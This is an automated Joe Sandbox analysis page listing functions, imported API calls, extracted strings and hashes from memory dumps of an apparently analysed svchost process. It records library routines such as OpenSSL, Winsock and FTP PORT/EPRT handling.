Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: M_growmemcpy
String ID:
API String ID: 2478243595-0
Opcode ID: 59ccbb3bb9be0ec2aee071d67a8046625b0f8bf0954fe4b6591bb4951fe69e8f
Instruction ID: 93dbd864b37342a7431e1699cfaddb7ca857db0293fe699dae5986ad8be7be61
Opcode Fuzzy Hash: 59ccbb3bb9be0ec2aee071d67a8046625b0f8bf0954fe4b6591bb4951fe69e8f
Instruction Fuzzy Hash: 8C518132B09FC681DB54EF16E4503A87361FB48B98F088532EE8D977A9DF7AD4818314

Function 00007FFD942E5660 Relevance: 3.1, APIs: 2, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FFD942D944E,?,?,?,00007FFD942D970A), ref: 00007FFD942E5686
_invalid_parameter_noinfo.LIBCMT ref: 00007FFD942E56E9

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: FeaturePresentProcessor_invalid_parameter_noinfo
String ID:
API String ID: 1808705829-0
Opcode ID: 1b2f749e313dfc5569fe0a61edaeb746f72f4ec4fd78a807df2ebfd42354c913
Instruction ID: d57def42302f5e85433eb1ae723f5a12fe9445a7e5ff8ce356864dc1bf9f9a1a
Opcode Fuzzy Hash: 1b2f749e313dfc5569fe0a61edaeb746f72f4ec4fd78a807df2ebfd42354c913
Instruction Fuzzy Hash: 72317021B2D642C2FA78AFD194A12BB6290BF87784F54C434EA4D17AD7DE3EE840C711

Function 00007FFDA337FD70 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

BIO_free.LIBCRYPTO-3-X64(?,00007FFDA333D763), ref: 00007FFDA337FE08
BIO_free.LIBCRYPTO-3-X64(?,00007FFDA333D763), ref: 00007FFDA337FE35

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_free
String ID:
API String ID: 2581946324-0
Opcode ID: 0ec6a5da9dd24791ccbb90d3d7413c2695686832c15197f3a623ed94e41998b7
Instruction ID: 6481212873616efe27520b439c68a31c81724c8e17325ef95203dd8f33b4e316
Opcode Fuzzy Hash: 0ec6a5da9dd24791ccbb90d3d7413c2695686832c15197f3a623ed94e41998b7
Instruction Fuzzy Hash: 0431FD33619BA085EB40EF35E45026C73AAFB84F88F145136EA4D97B5ACF35D892C354

Function 00007FFD942ED4EC Relevance: 3.1, APIs: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,?,?,00007FFD942ED49D), ref: 00007FFD942ED55A
GetLastError.KERNEL32(?,?,?,00007FFD942ED49D), ref: 00007FFD942ED564

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 5415232223c49cab955febe67e80327f788ad51cb6d2aa244ca356c60ab58e46
Instruction ID: e252064ed6d766ba8c360120988dd9578cf7823976567fc3142a75e3d53bf553
Opcode Fuzzy Hash: 5415232223c49cab955febe67e80327f788ad51cb6d2aa244ca356c60ab58e46
Instruction Fuzzy Hash: D8218011B2874341EA7097E594E027E1291BF867E4F548335EA2E473C7DE6DE445C300

Function 00007FFD942EEB54 Relevance: 3.0, APIs: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 00007FFD942EEBA6
GetLastError.KERNEL32 ref: 00007FFD942EEBB0

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: c170c5a0fb32560508b9c18f16d7facb2d7ad41fdb307ab6ee759ac187c5f4d6
Instruction ID: 0bfa4573910271d046c826ffe8ea197d8c6cfe25f9de6f2ab41379b13cc31747
Opcode Fuzzy Hash: c170c5a0fb32560508b9c18f16d7facb2d7ad41fdb307ab6ee759ac187c5f4d6
Instruction Fuzzy Hash: 0C11E261B18B8181DA209B65A49436AA361FB46BF4F548335EA7E4B7EACF7CD010C740

Function 00007FFDA5591460 Relevance: 3.0, APIs: 2, Instructions: 41networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFDA55914BD

Part of subcall function 00007FFDA5591460: closesocket.WS2_32 ref: 00007FFDA55914DE

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: closesocketsocket
String ID:
API String ID: 2760038618-0
Opcode ID: 86b13b9b5e5e47f8443fce572f867978864a31f214c007410feaabd07d40291d
Instruction ID: 4700140a2e6e51d8ca52fc4e5545e3f350c6ba3095d7225249871aeb5d7f0fb8
Opcode Fuzzy Hash: 86b13b9b5e5e47f8443fce572f867978864a31f214c007410feaabd07d40291d
Instruction Fuzzy Hash: C801D157F0628987FF858BB690D13B81650AB16F74F4C4274CE2D063C2CE5C88D48314

Function 00007FFD942CA538 Relevance: 3.0, APIs: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FFD942CA568
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFD942CA56E

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 739a9774b4a865556e64bdd6c4dac42dbca6b25d989a43e6407820ad6072e605
Instruction ID: 23f07b702b827e1a631b77974546e06784a5a6e2625f3702d256c47eda17c9b1
Opcode Fuzzy Hash: 739a9774b4a865556e64bdd6c4dac42dbca6b25d989a43e6407820ad6072e605
Instruction Fuzzy Hash: A0F0F610F1A10381F978B7E25AB12B902A03F4A7E2F18CBB0D92E452D3ED1EE855C610

Function 00007FFDA5586C50 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32 ref: 00007FFDA5586C5F
ReleaseSRWLockExclusive.KERNEL32 ref: 00007FFDA5586C77

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID:
API String ID: 17069307-0
Opcode ID: 4e63b957b1adf01b2c6230385774097f2dfe615c326b4d59037c5b0e72cf460b
Instruction ID: 0f10741087a892ad014a16c6939e9803bbd8abe302da7c879e901df80a4e6306
Opcode Fuzzy Hash: 4e63b957b1adf01b2c6230385774097f2dfe615c326b4d59037c5b0e72cf460b
Instruction Fuzzy Hash: 52D05B1EF2760BC2E7069FA0E8E52741211AF5DB10F401034C84F42753DE2CA44C8344

Function 00007FFD942E72E0 Relevance: 2.5, APIs: 2, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFD942E7329
SetLastError.KERNEL32 ref: 00007FFD942E735C

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: db969aebab7d185ec5007f5fc9c031800bf986f79a105bdd3d72f72b533ac68a
Instruction ID: 62818cd1b7d17db3f71b0e1c47f71af807892c04340bf8b39c1e1862016ff4fd
Opcode Fuzzy Hash: db969aebab7d185ec5007f5fc9c031800bf986f79a105bdd3d72f72b533ac68a
Instruction Fuzzy Hash: 86011B20F0D64282EAB453E4A9E907BA3527F973B4F248738D93D067D7DE6EA841D210

Function 00007FFD942F6BD4 Relevance: 1.6, APIs: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFD942F6BF7

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 61ca4c0e3dcf3931f2aa7cc05ab79ab60357bdaf2b011f2860fe107a81363c0e
Instruction ID: f55ee745a369bf43084f771d9b93ab01863fe186b8f558f80a41db9dca1e1242
Opcode Fuzzy Hash: 61ca4c0e3dcf3931f2aa7cc05ab79ab60357bdaf2b011f2860fe107a81363c0e
Instruction Fuzzy Hash: 6121533271864286DB718F98D49077976A0FF86B54F548234EA9D876DAEF3ED401CB00

Function 00007FFDA5578740 Relevance: 1.5, APIs: 1, Instructions: 46networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFDA5578793

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: 8aa9375f29b0daf2dca865736c81f69470b190bb2beb94a81ff9f0b00aa6f106
Instruction ID: fce5637ded3a16b5ae5aff294db754f3c6ed21e580ffd3a6601dc544aea7f416
Opcode Fuzzy Hash: 8aa9375f29b0daf2dca865736c81f69470b190bb2beb94a81ff9f0b00aa6f106
Instruction Fuzzy Hash: AC118936B0964582D754CF26E194329B7A1FB49FA4F088630DB6D17795CF39D491C704

Function 00007FFD942E6CC0 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FFD942E7157), ref: 00007FFD942E6D15

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f801d3189da3d6c7343ef57b350583fa08c8a99c5efbcbdc2bc46658c8b3b4fc
Instruction ID: 5f1aa005410ebfabfee3ce92269b587a30b6c7589aa131888c8b2b3ca4e1c5a6
Opcode Fuzzy Hash: f801d3189da3d6c7343ef57b350583fa08c8a99c5efbcbdc2bc46658c8b3b4fc
Instruction Fuzzy Hash: F6F01254B1920781FEB456E2A5B53B756857F8B780FCCD434D90DC62D3ED2EE580C210

Function 00007FFD942E6DA0 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FFD942EED8D,?,?,00000000,00007FFD942F19AF,?,?,?,00007FFD942E673F,?,?,?,00007FFD942E6635), ref: 00007FFD942E6DDE

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 34529e8176ea61590ae8271852d7f7c8205af2c373919aa331187e0951f3297b
Instruction ID: 86b2b0c3e476037ae8245de6a1a0699381da9ee8b07ea95555a53156ff2e6620
Opcode Fuzzy Hash: 34529e8176ea61590ae8271852d7f7c8205af2c373919aa331187e0951f3297b
Instruction Fuzzy Hash: 88F0DA10F1920286FA7466E159F12BB11946F867A0FC8C674D92EC62C7EE6EE451C210

Function 00007FFDA3386970 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

BIO_write_ex.LIBCRYPTO-3-X64(?,00007FFDA3382462), ref: 00007FFDA33869B1

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_write_ex
String ID:
API String ID: 4065850298-0
Opcode ID: 5902c466f9c9972f4ae4b4a010122c0e942a01d1c2e6f9b19bc542b2f0a3dfda
Instruction ID: 04c762e056ffd43524ad1eae49075c0e4b58d42f213b094ea90f280d28d2ecb3
Opcode Fuzzy Hash: 5902c466f9c9972f4ae4b4a010122c0e942a01d1c2e6f9b19bc542b2f0a3dfda
Instruction Fuzzy Hash: 0AF0E262B0BA8186EA80EB49D0202EC6352EF84BC4F480431EB4D2B757CE2BC8438300

Function 00007FFD942E4E58 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFD942E4E6C

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7b989286f25b60d0532184197740d0a63fa6c9eda64eaec38e8ba5dc223351be
Instruction ID: 0a3f3108a3479d7b5016eaa8e280970442ffb2c15794b69553c4b1c35c09ec76
Opcode Fuzzy Hash: 7b989286f25b60d0532184197740d0a63fa6c9eda64eaec38e8ba5dc223351be
Instruction Fuzzy Hash: 3DE0C271F1E20286FA756AE489A13BF22907F92305F948570E20C462C3DE2FA802C721

Function 00007FFDA37766F0 Relevance: 1.3, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377677A

Part of subcall function 00007FFDA3782880: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFDA378289E

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: fflushfree
String ID:
API String ID: 1635840800-0
Opcode ID: 69a0ef0fe61d12b7cd644f7225204bcd40b45329cf0d20afb0874d0b4c9b53fe
Instruction ID: 8c5109b1ff8c351d6b799a4e542366906b89eb54a6a6118b4460827032243ce9
Opcode Fuzzy Hash: 69a0ef0fe61d12b7cd644f7225204bcd40b45329cf0d20afb0874d0b4c9b53fe
Instruction Fuzzy Hash: 5B01C431E0A28282EB809F21A4603F832A2EF54FA8F181235DA1D1A3C7CF7E50818354

Non-executed Functions

Function 00007FFDA558C620 Relevance: 60.0, APIs: 21, Strings: 13, Instructions: 467stringnetworkCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FFDA558C6EA
strchr.VCRUNTIME140 ref: 00007FFDA558C71E
inet_pton.WS2_32 ref: 00007FFDA558C74A

Part of subcall function 00007FFDA55BA280: GetLastError.KERNEL32 ref: 00007FFDA55BA2A3
Part of subcall function 00007FFDA55BA280: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55BA2AB

strchr.VCRUNTIME140 ref: 00007FFDA558C76C
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA558C789
strchr.VCRUNTIME140 ref: 00007FFDA558C7A1
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA558C7BB
memmove.VCRUNTIME140 ref: 00007FFDA558C800
getsockname.WS2_32 ref: 00007FFDA558C8BE
WSAGetLastError.WS2_32 ref: 00007FFDA558C8C8
inet_ntop.WS2_32 ref: 00007FFDA558C91D
WSAGetLastError.WS2_32 ref: 00007FFDA558C9B4
memmove.VCRUNTIME140 ref: 00007FFDA558C9F3
htons.WS2_32 ref: 00007FFDA558CA13
bind.WS2_32 ref: 00007FFDA558CA2D
WSAGetLastError.WS2_32 ref: 00007FFDA558CA3B
getsockname.WS2_32 ref: 00007FFDA558CA90

Strings

Failure sending EPRT command: %s, xrefs: 00007FFDA558CD3F
,%d,%d, xrefs: 00007FFDA558CC7A
EPRT, xrefs: 00007FFDA558CCF7
getsockname() failed: %s, xrefs: 00007FFDA558C8E5
PORT, xrefs: 00007FFDA558CCAB
%s %s, xrefs: 00007FFDA558CCB2
bind(port=%hu) on non-local address failed: %s, xrefs: 00007FFDA558CA68
failed to resolve the address provided to PORT: %s, xrefs: 00007FFDA558CD53
bind() failed, we ran out of ports, xrefs: 00007FFDA558CAC4
%s |%d|%s|%hu|, xrefs: 00007FFDA558CD02
bind(port=%hu) failed: %s, xrefs: 00007FFDA558CAF3
socket failure: %s, xrefs: 00007FFDA558C9DA, 00007FFDA558CB5D
Failure sending PORT command: %s, xrefs: 00007FFDA558CCD2

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLaststrchr$getsocknamememmovestrtoul$_errnobindhtonsinet_ntopinet_pton
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 3321035314-3876000827
Opcode ID: d04e1be7d2c0aa2f094f262c23eb51162573f088543dddb53889fb2c3edfc2ae
Instruction ID: 3bd19b835a02dc71252414e01714fde41cecb26ea806e0a7931fbb11e7839a73
Opcode Fuzzy Hash: d04e1be7d2c0aa2f094f262c23eb51162573f088543dddb53889fb2c3edfc2ae
Instruction Fuzzy Hash: F212D22BB0A69A86EB629F2594203B927A1FF47F90F804132DA4D4B797DF3DD501D704

Function 00007FFDA55C8570 Relevance: 51.2, APIs: 24, Strings: 5, Instructions: 449COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C8635
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C86C9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C86DD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C86EF

Strings

SSPI: couldn't get auth info, xrefs: 00007FFDA55C85FA
schannel: InitializeSecurityContext failed: %s, xrefs: 00007FFDA55C8BF7
